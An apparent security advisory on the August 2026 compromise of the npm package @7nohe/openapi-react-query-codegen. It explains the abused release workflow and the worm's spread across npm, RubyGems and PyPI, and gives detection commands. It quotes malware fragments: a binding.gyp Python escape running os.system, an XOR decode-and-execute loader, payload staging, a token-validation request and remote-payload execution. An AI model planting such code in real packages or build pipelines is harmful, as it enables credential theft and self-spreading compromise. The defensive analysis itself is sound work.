CVE
Not assigned
CWE
CWE-94, CWE-506
Affected Surface
- Projects and CI runners that resolved @7nohe/openapi-react-query-codegen 0.5.4, 0.5.5, 1.6.3, 1.6.4, 2.2.1, 2.2.2, 3.0.3, 3.0.4, 0.0.0-365d4eb738d3146583431948d3ba6e27a32556be, or 0.0.0-ec7876d6c917dad516ba69bbfafc948b834bf0ab during the 2026-08-28 exposure window
- GitHub Actions jobs or developer workstations that ran npm installation against those versions with lifecycle scripts or node-gyp execution enabled
- npm, RubyGems, and PyPI publisher accounts reachable from affected hosts, plus cloud, Vault, Kubernetes, SSH, Git, and AI-tool credentials present on those systems
- Maintainers with release workflows that combine untrusted pull-request code paths with package-publishing privileges such as id-token: write
The clearest new package story from the last three days is not a typo squat or a one-off malicious upload. It is a compromise of a legitimate npm package that crossed three trust boundaries at once: GitHub Actions publishing, npm installation, and stolen publisher credentials in other ecosystems.
On 28 August 2026, attackers published ten malicious versions of @7nohe/openapi-react-query-codegen, a package used to generate TypeScript clients and TanStack Query hooks from OpenAPI definitions. The maintainer later confirmed the root cause in public: the release workflow accepted an issue_comment event, treated the exact string npm publish as authorization, checked out the pull request head, ran pnpm install, and published through a job that held id-token: write. That is enough to turn an untrusted pull request into a signed release path.
As of 29 August, the immediate registry blast radius is smaller than it was yesterday. The maintainer reports that npm has removed all ten malicious versions and restored latest to 3.0.2. That does not make prior installs safe. If a runner or workstation installed one of the affected versions during the exposure window, the payload already executed on that machine.
Affected versions and execution paths
The maintainer’s corrected scope is the best starting point because it explains why simple preinstall matching misses part of the incident:
| Version set | Install script | binding.gyp / 3FWCvzduYZg.js | What runs code |
|---|---|---|---|
0.5.4, 1.6.3, 2.2.1, 3.0.3 | none | present | node-gyp evaluating binding.gyp |
0.5.5, 1.6.4, 2.2.2, 3.0.4 | preinstall present | present | both preinstall and binding.gyp |
0.0.0-365d4eb..., 0.0.0-ec7876d... | preinstall present | absent | prerelease install hook |
That distinction matters operationally. A lockfile or artifact scan that looks only for scripts.preinstall misses the first four stable versions. A scan that looks only for binding.gyp misses the two prereleases.
The release workflow trusted a pull-request comment
The vulnerable path was visible in public discussion within minutes of disclosure. One commenter pointed to the release job guard:
jobs:
release:
if: ${{ github.event_name == 'push' || (github.event.issue.pull_request && github.event.comment.body == 'npm publish') }}
That is the whole problem in one line. The workflow mixed two very different trust levels:
- a normal tag-push release path
- an
issue_commentpath that could be reached from a pull request
Once the workflow checked out attacker-controlled PR code and ran pnpm install, it had already crossed into execution. Because the job also held publishing privileges, the attacker did not need a stolen maintainer npm token. StepSecurity’s write-up is useful here because it highlights the actual permission set that made the pivot possible: the job carried id-token: write, which let the run mint a trusted-publishing token and push real npm releases through the project’s own pipeline.
This is the AppSec lesson to keep from the incident:
untrusted PR comment
-> trusted workflow starts
-> workflow checks out PR head
-> package install runs attacker code
-> attacker code publishes signed release
If your release job can publish packages, the safe default is to let only a tag push or another strongly authenticated maintainer-only event reach that job. A comment body is not authorization.
binding.gyp was enough to execute without a lifecycle script
The clever part of this incident is that four of the stable versions did not need preinstall at all. Public analysis from the maintainer, Aikido, and the advisory record all line up on the same mechanism: node-gyp evaluates the conditions field in binding.gyp through Python, and the attacker used that evaluation step as an execution primitive.
The relevant expression decodes to:
[c for c in ().__class__.__base__.__subclasses__() if c.__name__ == 'catch_warnings'][0]()._module.__builtins__['__import__']('os').system('node 3FWCvzduYZg.js')
That is a Python object-walk to catch_warnings, then to __builtins__, then to os.system(). The rest of the file exists mostly to make the package still look like a native-addon build:
"targets": [
{
"target_name": "<(var)",
"type": "\x6e\x6f\x6e\x65",
"sources": ["dog.c"]
}
]
The type value decodes to none, so there is no real addon build. The package shipped the trigger, not a legitimate native extension.
That is why this incident belongs in the same bucket as other “tooling path” compromises rather than ordinary install-hook malware. The dangerous event was not only “did npm run preinstall?” It was also “did package installation hit a build path that evaluates attacker-controlled metadata?”
The loader was small at the edge and heavy in the middle
The stable malicious tarballs carried a root-level payload named 3FWCvzduYZg.js. The advisory data and public reverse engineering agree on the broad structure:
Function(function (a, k) {
let c = "";
for (let i = 0; i < a.length; i++) c += String.fromCharCode(a[i] ^ k);
return c;
}([101, 44, 62, 52 /* ... */], 77))
That outer layer is not the final malware. It is a decode-and-execute wrapper. Endor and Aikido both describe the next stages the same way:
- XOR decoding to a JavaScript loader
- AES-GCM decryption of the next embedded stage
- runtime download of Bun into a temp directory named
trinnyyyy-* - execution of the main payload under Bun rather than under the host Node runtime
The Bun staging path is one of the higher-signal behavioral indicators because it is unusual in ordinary dependency installation:
const dir = mkdtempSync(join(tmpdir(), "trinnyyyy-"));
const exe = join(dir, os === "windows" ? "bun.exe" : "bun");
const url = "https://github.com/oven-sh/bun/releases/download/bun-v1.4.0/bun-" + os + "-" + arch + ".zip";
This is not a normal build dependency being fetched for code generation. It is a delivery layer for the actual worm.
The worm crossed npm, RubyGems, and PyPI
The earlier Shai-Hulud-style waves already showed how stolen publisher credentials can turn one maintainer compromise into many poisoned packages. This variant went a step further by adding PyPI as an explicit propagation target. Endor’s static analysis is the clearest public description of that new branch: the code validates pypi- tokens against the real upload endpoint and keeps the working ones for reuse.
The PyPI validation flow looked like this:
await fetch("https://upload.pypi.org/legacy/", {
method: "POST",
headers: { Authorization: "Basic " + b64("__token__:" + token) },
body: form
});
Aikido and OX both place the broader propagation logic in the same family:
- read and validate npm tokens from
.npmrcand related files - enumerate packages reachable by the compromised npm identity
- republish poisoned tarballs
- validate RubyGems tokens and publish through the RubyGems API
- validate PyPI tokens and republish there too
That makes this more than an npm incident. npm was the entry point. The intended blast radius was any registry account the victim machine could reach.
Provenance was real and still not enough
One of the more important details in the maintainer thread is that the bad releases carried valid provenance because they came through the project’s real trusted-publishing workflow. Several independent write-ups repeat the same conclusion from different angles: provenance answered “which workflow produced this package?” but not “should this workflow have been trusted to run this code?”
That is an uncomfortable result, but a useful one. In a package-publishing system, provenance proves origin, not intent. If an attacker can route malicious code through the same workflow that usually builds clean releases, the badge stays green while the package turns hostile.
What changed on 29 and 30 August
The maintainer closed the immediate publishing hole and documented the cleanup:
- removed the
issue_commenttrigger from the release path - revoked the npm trusted publisher
- revoked long-lived npm tokens
- restored
latestto3.0.2 - worked with npm to remove the ten malicious versions
That means fresh installs now behave differently:
npm install @7nohe/openapi-react-query-codegen
-> resolves to 3.0.2
-> does not pull the removed malicious versions
But pinned lockfiles are still a response problem. A CI pipeline that still references one of the removed versions will now fail with a 404, which is safer than executing the payload but still a signal that the repository or cache needs cleanup.
The later reverse engineering published on 30 August added two details that matter for responders.
First, the package did not stop at collection and republishing. Socket and JFrog both describe a user-level monitor on Linux and macOS that kept watching a stored GitHub token after the initial install. Socket recovered Linux paths such as:
~/.local/bin/sysvinit-detect-fash.sh
~/.config/sysvinit-detect-fash/fox
~/.config/sysvinit-detect-fash/fash-detected
~/.config/systemd/user/sysvinit-detect-fash.service
/var/tmp/.shit
The monitor polled https://api.github.com/user once per minute and executed a stored handler when the token started returning a 4xx response. JFrog and OX tie that behavior to coercive strings such as IfYouRevokeThisTokenYourABadUser, so the safe sequence is contain the host, disable the monitor, and only then revoke exposed GitHub tokens.
Second, the same reporting shows that the malware had a signed remote-command path riding on GitHub commit metadata. Socket describes a flow where the implant searched for operator-controlled markers, verified an RSA-PSS/SHA-256 signature, downloaded the referenced payload, and ran it with Python:
result = subprocess.run(["python3", temp_path], capture_output=True, text=True, timeout=300)
The command URL hash was stored in /var/tmp/.shit to avoid replaying the same task. Aikido and JFrog also describe the exfil format in the attacker-created public repositories: encrypted bundles written as results/doubletrinnys-*.json, usually with commit messages such as meow meow meow.
Detection and scoping
Start with source control and lockfiles:
rg -n '@7nohe/openapi-react-query-codegen@(0\.5\.4|0\.5\.5|1\.6\.3|1\.6\.4|2\.2\.1|2\.2\.2|3\.0\.3|3\.0\.4|0\.0\.0-365d4eb738d3146583431948d3ba6e27a32556be|0\.0\.0-ec7876d6c917dad516ba69bbfafc948b834bf0ab)' \
package-lock.json pnpm-lock.yaml yarn.lock
Then look for file-level indicators that catch the prerelease, binding.gyp, and persistence paths:
rg -n '3FWCvzduYZg\.js|binding\.gyp|ai_init\.js|ai_setup\.sh|is_it_this_simple\.js|nu\.js|doubletrinnys-|Trinitite: Sponsored by Preview 2 Effects' \
node_modules .npm _logs . 2>/dev/null
rg -n 'sysvinit-detect-fash|systemd-detect-fash|/var/tmp/\.shit|/tmp/pcfg|ClaudeCode Review' \
"$HOME" /var/tmp /tmp .github .cursor 2>/dev/null
For CI and developer machines, the best behavioral indicators are:
node-gypevaluating a package that has no legitimate native-addon reason to build- download of Bun 1.4.0 into
/tmp/trinnyyyy-* - access to npm, RubyGems, or PyPI publish APIs from a machine that was only supposed to install dependencies
- GitHub API activity tied to unexpected repositories, workflow runs, or commits from the affected time window
- unexpected public repositories with the description
Trinitite: Sponsored by Preview 2 Effects - user-level LaunchAgent or systemd service creation under
~/Library/LaunchAgents/or~/.config/systemd/user/
If an affected version actually ran on a host, treat that host as compromised. Contain it and remove the GitHub token monitor before testing or revoking GitHub tokens. The malware family targets cloud credentials, GitHub tokens, registry tokens, Kubernetes tokens, Vault material, SSH keys, shell history, and developer-tool configuration files. Reinstalling the dependency is not the response. Credential rotation and account review are.
Why this incident matters
This was a compact example of a 2026 pattern that keeps getting sharper:
- the initial code change was tiny
- the release path looked legitimate
- the trust signal on the package stayed green
- the payload treated the victim’s publishing credentials as a propagation engine
For defenders, the useful question is no longer only “does this package run preinstall?” It is “which trusted steps in our build and publishing path will execute attacker-controlled bytes if a pull request, comment event, or package metadata field crosses the line?”
From research to remediation
Check whether this pattern exists in your codebase
Turn this research into a remediation workflow. Scan dependencies and package manifests for similar supply-chain risk, then prioritize fixes with reachability context.
References
- 7nohe incident thread: [URGENT] Malicious NPM packages published
- Aikido: Popular code generator for TanStack Query hit by supply chain worm
- StepSecurity: @7nohe/openapi-react-query-codegen Compromised Through an Exposed npm Publishing Workflow
- Endor Labs: Mini Shai-Hulud worm hits openapi-react-query-codegen, spreads across npm, RubyGems, and PyPI
- OX Security: Shai-Hulud - Trinitite: Sponsored by Preview 2 Effects
- Socket: OpenAPI React Query Codegen compromised in Mini Shai-Hulud npm supply chain attack
- JFrog: Shai-Hulud Trinitite hits @7nohe/openapi-react-query-codegen
- GitHub Security Advisory: GHSA-9pvf-vcx3-x239